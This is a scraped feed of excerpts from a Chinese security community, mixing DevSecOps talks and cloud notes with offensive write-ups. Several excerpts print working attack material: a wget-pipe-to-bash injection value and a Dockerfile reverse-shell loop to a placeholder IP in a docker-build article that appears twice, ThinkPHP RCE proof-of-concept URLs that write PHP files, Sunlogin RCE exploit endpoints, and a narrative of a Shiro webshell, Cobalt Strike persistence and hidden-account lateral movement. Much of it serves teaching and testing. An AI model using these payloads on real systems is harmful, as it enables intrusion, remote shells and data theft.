访问存储桶对外访问的链接,随后便跳转至http://127.0.0.1/index.html
2022年3月17日 17:33火线zone
我今天主要分享云原生时代下的DevSecOps,分享一下我们客户在云原生时代下的持续安全实践。

大概摘要:
•安全可能对于很多业务开发与运维来说,是“麻烦”与“被动”。
•相比传统,云原生架构具备了一系列特性,使安全能够更低摩擦地内生于企业流程之中,内生于DevOps之中。
•希望与大家讨论的是,在云原生架构下,在持续加速的业务迭代和CI/CD中,如何实践持续安全(Continous Security)。

我目前在探真科技,我们是一家做云原生安全的公司,是个To B的企业,我之前工作经历主要是互联网工作经历,涉及的领域是IT安全、业务安全,也做过一段时间的基础架构。

我的大概内容分为四个部分,
01:新的云原生,新的风险
02:安全落地的难处
03:云原生下的零摩擦实践
04:持续安全,做一个小结


首先云原生架构本身的特点,这里面列的几点,有些是来自于社区里面的一些分享,有些是我们认为比较重要的。
第一点标准化,标准化是一个非常重要的特点,对甲方乙方都很重要,传统的架构下各个公司的DevSecOps流程或者说开发和运维流程,概念上都差不多,但是具体到实施和实现上就千差万别。但是新的云原生时代,其实Kubernetes或docker等围绕着Kubernetes这样一个社区,这部分的流程已经形成了比较好的标准化,所有的企业都需要去做构建镜像,需要镜像存储,需要CI/CD,需要Kubernetes或者是Kubernetes衍生的一些商业化版本,相关的运维操作其实也在API层面和概念层面都完成了标准化,这样有非常好的好处,就是社区里面的一些其他企业非常好的实践,都能够比较的摩擦的、比较快速的,在我们自己的流程和环境里面去做实验、落地,不像之前需要一些特别多的适配成本、金融成本。
自云原生社区成熟以来,Kubernetes这样的容器编排软件成熟以来,像AI OPS这样的概念才真正的兴旺起来,对于我们这种做企业服务的公司来说,我们的一些安全能力和安全服务能够相对来说比较低成本的在不同的企业做可复制性的方案。
不可变基础架构,我们认为对安全来说也是一个非常重要的特点,他其实听起来比较基础化,但是这种不可变基础架构,对安全能力真正落地是一个比较好的基础。
微服务化和持续交付,非常容易理解。
Operator化是社区里面比较有名的张雷老师在他的分享里面提到的,Operator化的模式是K8S的一个重要的模式,是一种自定义
2022年3月17日 16:33火线zone
背景
业务提供一个功能:根据用户的代码仓库编译镜像,并且管理镜像。
编译镜像时的业务实现类似下面这样,其中image_name_tag、dockerfile_file、dockerfile_path变量都是从外部web入口传入的
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
如果你是这个业务的研发或者安全测试人员,你觉得这里会产生哪些安全漏洞?
我的分析
命令执行
我想大家第一个都会想到"命令执行漏洞":image_name_tag变量如果用户传入`wget -c http://xxx/x.sh | bash -c`就能执行远程服务器上的脚本,拿到宿主机服务器权限。
如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含$、`),还有其他安全漏洞吗?
Dockerfile中反弹shell
-f ${dockerfile_file}这里Dockerfile的内容是用户可控的,所以也很容易想到:我们可以在Dockerfile中写任意命令,获取到"反弹shell"
FROM ubuntu MAINTAINER Victor Coisne victor.coisne@dotcloud.com RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口 RUN bash /tmp/1.sh
在"反弹shell"中我们可以尝试去访问"dockerd服务"所在的宿主机网络,或者宿主机能访问到的网络,然后可以去测试网络中的脆弱服务。
如果研发大哥在这里用iptables对容器和宿主机网络做了隔离,还有其他安全漏洞吗?
用户数据泄漏
Dockerfile中的第一行FROM如果我填写其他用户编译好的镜像名称,是不是有可能读到其他用户镜像呢?
虽然"镜像名称"难猜中,但是这个风险确实是存在的。
如果研发大哥在构建镜像并推送到镜像仓库后,然后用docker rmi清空本地的镜像缓存,就不存在这种风险了,那还有其他安全漏洞吗?
给所有镜像种个后门
image_name_tag是编译后的镜像名,Dockerfile中的第一行FROM指
2022年3月17日 16:03火线zone
前言
在进行 Android 测试时会发现现在大多数 APP 都进行了加固,其中就包括 frida 防护。不能使用 frida,对 APP 渗透测试而言可以说是缺了灵魂。所以绕过 Frida 防护是我们必不可少的一步。
Frida 绕过的各种姿势
1. 使用去特征的 server
https://github.com/hluwa/strongR-frida-android/
2. 修改默认端口
./data/local/tmp/frida-* -l 0.0.0.0:800 adb forward tcp:27042 tcp:800 frida -R package_name -l hook.js
3. VA + Gadget
利用 VirtualApp 自带的延时注入功能,注入 frida-gadget,具体实现可看我 github。
github: https://github.com/jussi-sky/VirtualApp
3.1 引入 gadget.so(更改so名称,可绕过部分检测)
3.2 加载 gadget
package io.virtualapp; import com.lody.virtual.helper.utils.VLog; public class FridaGadget { private static final String TAG = FridaGadget.class.getSimpleName(); static { try { System.loadLibrary("ijkplayer"); } catch (Throwable e) { VLog.e(TAG, VLog.getStackTraceString(e)); } } public static void init() { VLog.d(TAG, "Init Frida Gadget", new Object[0]); } }
3.3 重写 AppComponentDelegate,控制 gadget 加载时机
package io.virtualapp; import android.app.Application; import android.content.Context; import com.lody.virtual.client.VClient; import com.lody.virtual.c
2022年3月17日 13:03火线zone
最近看火线社区有好多云安全的文章,还有公众号上,学习到了好多,自己也开始学习一下,做一下记录,如果有不对的欢迎大佬指出!
1、VPC(Virtaul Private Cloud)
首先说一下自己的理解,VPC相当于一个局域网,相较于传统的网络,局域网下面有路由,子网等,在VPC中一样存在这些,所以我觉得这些交换机,路由,ACL就与传统网络类似
首先我们来看一下在亚马逊Aws上对VPC的解释
VPC的组成
我们再来看一下阿里云对于VPC的解释
2、Switch
首先看看常见的交换机都是用来做什么
在阿里云中交换机叫vSwitch,可能是virtaul的意思
可以通过创建交换机为专有网络划分一个或多个子网。同一专有网络内的不同交换机之间内网互通。云资源必须部署在交换机内,您可以将应用部署在不同可用区的交换机,提高应用的可用性。交换机不支持组播和广播。
3、NAT
我们常见在渗透中说的NAT,内网穿透 NAT网关可以提供公网地址转换功能,使您VPC内的ECS实例能够访问互联网和为互联网提供服务
在NAT中还有两个名次,一个是SNAT,还有一个是DNAT
3.1、SNAT
首先看一下阿里云官网的SNAT的架构图
您可以通过公网NAT网关的SNAT功能,配置SNAT条目,使得VPC内无公网IP的ECS实例可以通过公网NAT网关绑定的EIP访问互联网
3.2、DNAT
我们再来了解一下DNAT 官方解释:公网NAT网关支持DNAT功能,将公网NAT网关上的公网IP通过端口映射或IP映射两种方式映射给ECS实例使用,使ECS实例能够对外提供公网访问服务 在下面VPC创建中会演示关于DNAT的作用
4、ACL
*访问控制*网络ACL是专有网络VPC中的网络访问控制功能。您可以在专有网络VPC中创建网络ACL并添加入方向和出方向规则。创建网络ACL后,您可以将网络ACL与交换机绑定,实现对交换机中ECS实例流量的访问控制。
5、安全组
比较常见的一个功能,我们在配置ECS的时候,可以配置入站出站的规则
出站方向默认都是全放的(很少会改出站)
入站方向,换个比较好理解的
1、我们部署好Web网站之后需要放通80,开启了SSL,需要放通443,不然访问不了我们的网站
2、NC开启监听之后,还要在安全组中放通该端口即可
6、EIP
EIP全称(Elastic IP Address),中文:弹性公网IP
弹性公网IP(Elastic IP
2022年3月17日 12:33火线zone
嗨害嗨!最近看火线社区有好多云安全的文章,还有公众号上,学习到了好多,自己也开始学习一下,做一下记录,如果有存在错误的地方,欢迎大佬指出!
1、VPC(Virtaul Private Cloud)
首先说一下自己的理解,VPC相当于一个局域网,相较于传统的网络,局域网下面有路由,子网等,在VPC中一样存在这些,所以我觉得这些交换机,路由,ACL就与传统网络类似
首先我们来看一下在亚马逊Aws上对VPC的解释
VPC的组成
我们再来看一下阿里云对于VPC的解释
2、Switch
首先看看常见的交换机都是用来做什么
在阿里云中交换机叫vSwitch,可能是virtaul的意思
可以通过创建交换机为专有网络划分一个或多个子网。同一专有网络内的不同交换机之间内网互通。云资源必须部署在交换机内,您可以将应用部署在不同可用区的交换机,提高应用的可用性。交换机不支持组播和广播。
3、NAT
我们常见在渗透中说的NAT,内网穿透 NAT网关可以提供公网地址转换功能,使您VPC内的ECS实例能够访问互联网和为互联网提供服务
在NAT中还有两个名次,一个是SNAT,还有一个是DNAT
3.1、SNAT
首先看一下阿里云官网的SNAT的架构图
您可以通过公网NAT网关的SNAT功能,配置SNAT条目,使得VPC内无公网IP的ECS实例可以通过公网NAT网关绑定的EIP访问互联网
3.2、DNAT
我们再来了解一下DNAT 官方解释:公网NAT网关支持DNAT功能,将公网NAT网关上的公网IP通过端口映射或IP映射两种方式映射给ECS实例使用,使ECS实例能够对外提供公网访问服务 在下面VPC创建中会演示关于DNAT的作用
4、ACL
*访问控制*网络ACL是专有网络VPC中的网络访问控制功能。您可以在专有网络VPC中创建网络ACL并添加入方向和出方向规则。创建网络ACL后,您可以将网络ACL与交换机绑定,实现对交换机中ECS实例流量的访问控制。
5、安全组
比较常见的一个功能,我们在配置ECS的时候,可以配置入站出站的规则
出站方向默认都是全放的(很少会改出站)
入站方向,换个比较好理解的
1、我们部署好Web网站之后需要放通80,开启了SSL,需要放通443,不然访问不了我们的网站
2、NC开启监听之后,还要在安全组中放通该端口即可
6、EIP
EIP全称(Elastic IP Address),中文:弹性公网IP
弹性公网IP(E
2022年3月17日 12:03火线zone
CrowdStrike 发现的 CRI-O 容器引擎中的新漏洞 (CVE-2022-0811)
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
云原生运行时的下一个五年:函数是不是下一站?
https://www.infoq.cn/article/vAE6wFVzlFErEX4NAVNU?utm_source=rss&utm_medium=article
Azure AD - 攻击和防御手册
https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
使用开源的 Kubernetes 漏洞扫描和测试
https://mp.weixin.qq.com/s/St6eodYWt05NkYktV0G1kw
KubeSphere DevOps 系统功能实战
https://mp.weixin.qq.com/s/s5HMzgLVuQ56yJGD8VsxaQ
影响Cgroup的Linux漏洞 CVE-2022-0492:能否容器逃逸?
https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
防范未修复的 Kubernetes 中间人漏洞 (CVE-2020-8554)
https://unit42.paloaltonetworks.com/cve-2020-8554/
2022年3月16日 11:33火线zone
问题排查利器:Linux 原生跟踪工具 Ftrace 必知必会
https://mp.weixin.qq.com/s/e_n0s0cT-EMujjXqbCa-Sw
云原生中间件 -- Redis Operator 篇
https://mp.weixin.qq.com/s/V3Y40Wt3oI0lsLhSdV_exg
使用Gitops 控制平面管理应用程序
https://cloud.redhat.com/blog/managing-applications-via-a-gitops-control-plane
.NET Lambda 函数的实时分布式跟踪
https://www.datadoghq.com/blog/dotnet-lambda-functions-distributed-tracing/
流水线中使用 docker in pod 方式构建容器镜像
https://blog.k8s.li/docker-in-pod.html
BlueTeam-该项目包含一组Terraform和Ansible脚本,用于创建协调的 BlueTeam Lab
https://github.com/op7ic/BlueTeam.Lab
ThreatMapper - 云原生的运行时漏洞管理和攻击路径枚举
https://github.com/deepfence/ThreatMapper
使用 Grafana 可观察性监控 Azure AKS 应用程序
https://medium.com/@hauskrechtmartin/monitoring-azure-aks-applications-using-the-grafana-observability-stack-645f037013a0
2022年3月15日 18:04火线zone
0x00 背景
混沌未分天地乱,茫茫渺渺无人见。
自从盘古破鸿蒙,开辟从兹清浊辨。
覆载群生仰至仁,发明万物皆成善。
欲知造化会元功,须看小白游历传。
传说:海外有一国土,名曰傲来国。国近大海,海中有一座名山,唤为花果山。山上有一仙石,石产一卵,见风化一石猴,得名孙小白。
自老黑打穿内网后,小白苦思要领而不得。随后云游海角,远涉天涯,寻找攻防之术,立志潜心建大功。功夫不负有心人,小白静心修炼、历经磨难,终得正果归来也。
今见老黑打站,便略施一二,轻松获得最高权。老黑惊之叹之,欲问何以修练速成之。
白曰:天机不可泄露。
虽渔不可得,得一鱼之何不美事一件?

0x01 shiro框架getshell
打开登录页面,一只“Tom猫”和“记住密码”映入眼帘。

这是什么操作?谜底就在谜面了?这该不会是shrio吧?Jerry看了都发懵~~~

通过抓包,发现有rememberMe参数,在响应包中有rememberMe=deleteMe值,确定该框架为shiro。

待我使用火眼金睛——shiro_attack,这厮立马就现出了原形。

通过shiro反序列化漏洞,可以执行系统命令。经查看,知道这是一个管理员的账号。随即上传一个webshell,为后渗透做好准备。

0x02 上线cs获得服务器权限
有了webshell,是时候让俺孙小白“大闹天宫”了。
先来一招放长线钓大鱼。 为了更长久,更深层地控制服务器,所以还得上cs。这里直接上传cs文件,并添加一个隐藏账号。

通过Windows Server 2012的rdp连接记录获得管理员密码后,继续发招。

再来一招猴子偷桃。 使用管理员账号远程登录服务器,然后就可以到处翻翻翻了。
首先翻到的就是数据库的配置。

可以直接登录数据库查看。

还可以查看部署在上面的应用系统。

这服务器被俺这么一搅和,反正是别想清净了。

0x03 旋转跳跃,我闭着眼
这台服务器搞定了,相连的服务器谁也别想跑。

第三招,秋风扫落叶。 立刻进行C段、端口和目录进行扫描,还真发现了一些系统,并且可以用弱口令登录。


在看其他服务器的时候,发现一个通往192段的地址,并能ping通。

最终也获取了192段服务器的数据库权限。

0x04 赞
小白努力学攻防,
辗转反侧日夜忙。
苦历程途遭患难,
归来人人皆赞叹。
世间哪有登天路,
一步一步苦来渡。
神通不可来作恶,
一团正义心中坐。
预知后
2022年3月15日 14:34火线zone
背景
业务提供一个功能:根据用户的代码仓库编译镜像,并且管理镜像。
编译镜像时的业务实现类似下面这样,其中image_name_tag、dockerfile_file、dockerfile_path变量都是从外部web入口传入的
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
如果你是这个业务的研发或者安全测试人员,你觉得这里会产生哪些安全漏洞?
我的分析
命令执行
我想大家第一个都会想到"命令执行漏洞":image_name_tag变量如果用户传入`wget -c http://xxx/x.sh | bash -c`就能执行远程服务器上的脚本,拿到宿主机服务器权限。
如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含$、`),还有其他安全漏洞吗?
Dockerfile中反弹shell
-f ${dockerfile_file}这里Dockerfile的内容是用户可控的,所以也很容易想到:我们可以在Dockerfile中写任意命令,获取到"反弹shell"
FROM ubuntu MAINTAINER Victor Coisne victor.coisne@dotcloud.com RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口 RUN bash /tmp/1.sh
在"反弹shell"中我们可以尝试去访问"dockerd服务"所在的宿主机网络,或者宿主机能访问到的网络,然后可以去测试网络中的脆弱服务。
如果研发大哥在这里用iptables对容器和宿主机网络做了隔离,还有其他安全漏洞吗?
用户数据泄漏
Dockerfile中的第一行FROM如果我填写其他用户编译好的镜像名称,是不是有可能读到其他用户镜像呢?
虽然"镜像名称"难猜中,但是这个风险确实是存在的。
如果研发大哥在构建镜像并推送到镜像仓库后,然后用docker rmi清空本地的镜像缓存,就不存在这种风险了,那还有其他安全漏洞吗?
给所有镜像种个后门
image_name_tag是编译后的镜像名,Dockerfile中的第一行FROM指
2022年3月15日 14:04火线zone
云原生中间件 -- Redis Operator 篇
https://mp.weixin.qq.com/s/Tb9ej0jQlkCck7DJyaDC0Q
Amazon S3威胁模型
https://github.com/trustoncloud/threatmodel-for-aws-s3
使用Kubernetes镜像混合器
https://blog.container-solutions.com/using-kubernetes-monitoring-mixins
容器与Pod到底有什么区别和联系?
https://mp.weixin.qq.com/s/N5Vh5_AT_Pl0Und0W-Ljtg
作为 OpenShift 管理员,您应该向开发人员提出哪些问题
https://telegra.ph/As-an-OpenShift-Administrator-what-questions-should-you-ask-your-developers---Hybrid-cloud-blog-03-14
问题排查利器:Linux 原生跟踪工具 Ftrace 必知必会
https://www.ebpf.top/post/ftrace_tools/
思科云原生安全 – 第 3 部分,GitOps 和 CI/CD
https://blogs.cisco.com/developer/cloudnativesecurity03
2022年3月15日 14:04火线zone
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞原理
漏洞简述
本次研究漏洞为 CVE-2022-0847,该漏洞是由于其允许覆盖任意只读文件中的数据,非特权进程可以将代码注入根进程导致权限提升。
该漏洞类似于CVE-2016-5195"Dirty Cow",但更容易利用。
此漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。
漏洞分析
漏洞起源
起源是在损坏文件支持票据研究中发现该漏洞。
通过比对正常文件与损坏文件的差异发现内核层面的问题。
以CM4all托管环境下日志服务器中一个日常文件为例
正常文件结尾情况:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 9c 12 0b f5 f7 4a 00 00
相同文件但已损坏:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 50 4b 01 02 1e 03 14 00
可以看到核心在后面8个字节。
50 4b 01 02 1e 03 14 00
其中50 4b为"P"和"K"的ASCII。"PK",为所有ZIP标头的开始方式。
01 02是中央目录文件头的代码。
1e 03 14 00 为
“Version made by” = ; = 30 (3.0); = UNIX 1e 03 0x1e0x03
“Version needed to extract” = ; = 20 (2.0) 14 00 0x0014
首先缺少其余部分,头部在8个字节后截断。
直到进行代码审计,根据Web服务的逻辑,排查到splice()write()50 4b 01 02 1e 03 14 00为问题核心。
之后根据C程序破解分析到:
一个不断将字符串"AAAAA"的奇数块写入文件(模拟日志拆分器):
#include <unistd.h>
int main(int argc, char **argv) {
for (;;) write(1, "AAAAA", 5);
}
// ./writer >foo
以
2022年3月15日 11:04火线zone
声明
本文为笔者对实际容器安全事件的归纳,仅代表个人观点。
文末为容器安全事件排查与响应思维导图
引子
定位初始入侵位置
首先要确认入侵是否发生在容器内,或者说只在容器内
场景:zabbix告警一个进程占用非常高,像是挖矿程序/DOS了
但是查看进程的PPID却发现是systemd,这种情况大概率是容器相关了
首先获取程序PID,然后查看对应进程的进程树是否父进程为containerd-shim
上图比较清晰的介绍了各项之间的逻辑关系,不同docker版本有些区别,具体视情况决定。
以docker为例,可以通过如下方式确认宿主机内的docker进程及对应的容器名
for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done
需要提醒的是,在生产环境可能有些输出进程号为0,这种不是真的PID为0,是此刻容器处于restarting状态。
了解环境基本信息
定位到对应的容器后,需要检查该容器的一些基本信息
检查容器对外开放端口,是否有根据经验即可判断的风险
docker ps #当前运行的容器、创建时间、运行状态、映射的端口
检查宿主机docker环境,比如是否docker deamon api对外开放,还是有很多运维因为种种原因可能做出这类配置的。
常见的容器逃逸checklist:
是否挂载了敏感目录
是否是特权容器
宿主机内核版本是否在常见的逃逸漏洞影响范围
...
最后检查对应镜像的运行命令,不过多数都是docker-entrypoint.sh,最好有容器管理员侧的配合
再次确认容器在宿主机的PID
docker inspect -f '{{.State.Pid}}' <容器ID>
最后是确定当前节点使用的镜像仓库,如果使用公网仓库则需要排查是否存在被恶意拉取可能性,关于这点将在后面章节继续。
容器分析
保存容器现场
如果需要进行取证就应该先暂停处置等工作,第一步是确保现场的完整性。
docker commmit <容器ID> docker checkpoint #需要开启实验性功能
因为一般跑容器的宿主机都是大内存机器,所以保存机器内存快照其实并不怎么方便。
场景:这里以常见的redis容器空口令导致redis被写入私钥为例
环境搭建:使用vulhub环
2022年3月14日 19:03火线zone
Clare是国内某支付机构安全架构师,专注于信息安全攻防研究和深度测试,今天分享的主题是“云原生安全实实践”。

我讲的议题是,云原生安全实践,主要从两个方面来介绍云原生安全,
第一个,是云原生安全面临的风险。
第二个,是云原生安全实践。

云原生的定义:它是一种构建和运行应用程序的现代方法,它主要代表的是容器,微服务,持续集成交付和devops为代表的一个技术体系。

它给开发迭代带来了新的革命,提高了研发交付的效率和提高了高可用性。但是,云原生继承了传统网络安全几乎所有的风险,传统的安全模型主要关注基于边界的安全(perimeter-based security),不足以保护云原生架构的安全。所以相对于传统安全,云原生安全仍然是真正的挑战。
云原生安全,它是一种保护云原生平台及基础设施和整个应用程序安全实践,包括自动化数据分析,威胁检测,确保应用整个安全性及纵深防御。

刚才提到了云原生安全面临的风险,像Kubernetes一些漏洞,还有一些常见的像k8s上用的组件漏洞,包括其他的内部组件的高危漏洞等都威胁整个云原生平台的安全性。
在图上看到很多漏洞,风险是比较高的,出现的频率也比较多。包括之前讲到一些容器逃逸等等这些在容器里面都遇到的非常多。

云原生安全面临的风险,主要是缺乏对威胁攻击的这种感知能力。在很多的企业里面,他们对这种异常流量的监测,缺乏实时的感知能力。还有一些应用安全本身存在的漏洞,也会导致云原生面临的漏洞。
一些中间件、操作系统、外部的漏洞,还有比如人文因素,错误配置导致或者权限设置失效导致的被黑客入侵等等。再比如API缺乏有效的鉴权,缺少有效的应用安全防护,微服务等会影响到整个云平台的一些安全。
其实给我们带来便利的同时,也带来了很多的安全需求和挑战。

云安全风险的来源包括应用多样化、网络攻击环境等等,都在对应用服务、集群容器、代码层面的安全造成很大的风险。

另外,我们从攻击者的角度来看待云原生安全。一些容器相关的组件历史漏洞,还有内部没有受到严格保护的一些API,都会导致像比如说Kubernetes的平台等等被入侵,或者是利用他这些服务,入侵到容器内部或是控制整个集群等。
再比如不安全的容器镜像,不可信的镜像,它本身会导致被入侵。有些容器本身带有恶意脚本,黑客利用容器进行“挖矿”,而且云原生过程中API没有受到严格的保护,也是一个很大的安全问题。平台的安全管控,和其他相关联的安全隐患
2022年3月14日 18:03火线zone
0x01 前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
0x02 影响版本
● 向日葵个人版for Windows <= 11.0.0.33
● 向日葵简约版 <= V1.0.1.43315(2021.12)
之前刚揭露的时候是这个版本,实际应该不止,具体到那个版本也没有进行研究,只能通过漏洞进行验证了
0x03 环境搭建
具体的漏洞分析相关的就不做研究了,有兴趣的自行百度。
1.在虚拟机windows 10 上安装向日葵个人版本10.5.0.29613,在受影响范围内。

0x04 漏洞利用
1.启动软件,在攻击机上开启向日葵,连接靶机上的虚拟机上的向日葵,此时虚拟机上会开启大概七,八个4W+以上的高位端口,这端口就是我们要利用的端口了。
开启我们的端口扫描神器nmap,对准虚拟机上的4W+端口开启扫描,使用以下命令即可:
nmap -sS IP -p 40000-65535

从nmap扫描情况来看,service 的状态都是unknown,实际上基本都是http协议,个别情况下也是支持https协议的。
得到端口之后,需要拼接http://ip:端口,到浏览器进行访问,成功访问,并且返回关键字:Verification failure的端口即为可利用端口(多次复现后,发现一般是nmap扫描后得到的最后一个高位端口)

2."Verification failure"这个返回内容就是向日葵低版本启动的相关特征了,也可以说是作为一个web指纹来进行识别吧。
接下来讲如何去利用,得到这个特征之后我们可以根据改漏洞提供的接口,去识别向日葵的版本
(1)版本识别接口:/cgi-bin/rpc?action=login-type,可以精准识别到版本,使用的系统,mac地址

(2)如果使用的是windows 系统且,使用的版本在受影响的范围内,即可进行下一步利用。获取session,进行代码执行的利用,获取seesion接口:/cgi-bin/rpc?action=verify-haras,每次请求,都会得到新的session,但是都是可以利用的

(3)得到session后,就该考虑如何去利用了,得到session后,添加到请求头中,进行命令执行接口:/check?cmd=ping../../../windows/system32/wind
2022年3月14日 14:03火线zone
Google Cloud Armor 中 8KB Bypass WAF 修复指南
https://kloudle.com/academy/a-guide-to-protect-against-the-8kb-waf-limitation-in-google-cloud-armor
CVE-2021-26708内核漏洞详解
https://hardenedvault.net/2022/03/01/poc-cve-2021-26708.html
Pascoms Cloud:3个漏洞组合导致未经授权RCE
https://kerbit.io/research/read/blog/4
CVE-2022-0847漏洞对容器环境影响的深度分析
https://mp.weixin.qq.com/s/GhE8Q4RsUBzC8PagtZwzGg
AWS Lambda 最佳安全实践
https://medium.com/@cloud_tips/aws-lambda-security-best-practices-ac6cb3e23222
Kubernetes RBAC 中节点/代理权限的提权
https://blog.aquasec.com/privilege-escalation-kubernetes-rbac
在 AWS EKS 上使用 NLB 项目 Calico
https://telegra.ph/Project-Calico-on-AWS-EKS-with-NLBAWS-Roadmap---Stories-by-Burak-Tahtac%C4%B1o%C4%9Flu-on-Medium-03-13
OpenShift 虚拟化中的实时快照
https://telegra.ph/Live-Snapshots-in-OpenShift-Virtualization---Hybrid-cloud-blog-03-11
2022年3月14日 12:03火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:某房地产公司内网渗透测试
链接:https://zone.huoxian.cn/d/953
作者:小黑
第二名:400元现金+400查克拉
标题:VUE站点的XSS漏洞实战分享
链接:https://zone.huoxian.cn/d/946
作者:jobs
第三名:300元现金+300查克拉
标题:Log4j2 RCE 复现
链接:https://zone.huoxian.cn/d/947
作者:小黑
第四名:200元现金+200查克拉
标题:腾讯云COS对象存储攻防
链接:https://zone.huoxian.cn/d/949
作者:KEVIL
第五名:100元现金+100查克拉
标题:OSS的一点其他思路
链接:https://zone.huoxian.cn/d/958
作者:zoneBAI
02#首发云安全原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行云安全相关原创文章的分享,实行#首发云安全原创文章激励计划#。
奖励具体规则如下:
首次发云安全相关主题帖,点赞数>10,在参与周奖励的情况下,可额外获得“100查克拉”的奖励
上周符合激励计划的文章有:
云安全:100查克拉
标题:腾讯云COS对象存储攻防
链接:https://zone.huoxian.cn/d/949
作者:KEVIL
所有奖励每周一进行结算(即本周奖励结算上周的原创文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#,无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年3月11日 14:33火线zone
前言
近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。
系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。
eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。
现状分析
在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示:
海外资料
Black Hat
在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。
DEFCON
在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。

国内资料
国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。
eBPF技术恶意利用的攻击原理
知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些?
从eBPF的功能来看,提供了
网络
监控
观测
跟踪&性能分析
安全
等几个领域功能。 在网络领
2022年3月11日 14:03火线zone
【云原生攻防研究】容器逃逸技术概览
http://blog.nsfocus.net/the-route-to-host/
利用 Azure API 权限获取 Azure 集群权限
https://mp.weixin.qq.com/s/lCW6wIKKq2gyliaQA9nT5w
CVE-2021-26708 POC
https://hardenedvault.net/2022/03/01/poc-cve-2021-26708.html
K8s安全入门学习扫盲贴
https://tttang.com/archive/1465/
浅谈云上攻防——CVE-2020-8562漏洞为k8s带来的安全挑战
https://mp.weixin.qq.com/s/HCBL7SND_-IZqeqX_vchug
微软 Azure 自动化服务漏洞
https://orca.security/resources/blog/autowarp-microsoft-azure-automation-service-vulnerability/
2022年3月11日 10:33火线zone
闲来无事,找了个平台挖挖SRC,且记录一下人生第一个远程代码执行漏洞,虽说没有奖励(已存在,手动哭泣表情包),但是还是记录一下。
1.信息收集,全面开展,IP、端口、CMS、子域名.......嗯? 子域名漏扫发现了远程代码执行。漏扫原图:

2.小手激动的抖动,第一次挖到这么高级的漏洞。赶快去百度,利用一手:

3.GITHUB给出的POC:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
验证结果:


4.再根据百度出来的姿势,来一发:


5.卡在这里不会了,想要咨询大佬,结果大佬直接发来一图:

6.老老实实又百度一波:

7.学到了新姿势,马上又激动的去验证一手,查看了被禁用了的命令函数:

发现file_put_contents还可以利用,但是怎么利用,这个又不会了。---此处感谢:某某种马,使用file_put_contents成功写入,
POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.php&vars[1][]=<?php echo 'ok';?>

8.写入phpinfo验证,?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test3.php&vars[1][]=<?php%20phpinfo();?>:

接下就不用说了,感谢支持的大佬教学。
2022年3月10日 15:03火线zone
说到DevOps解决的核心问题?他并不是简单的话把运维干掉。
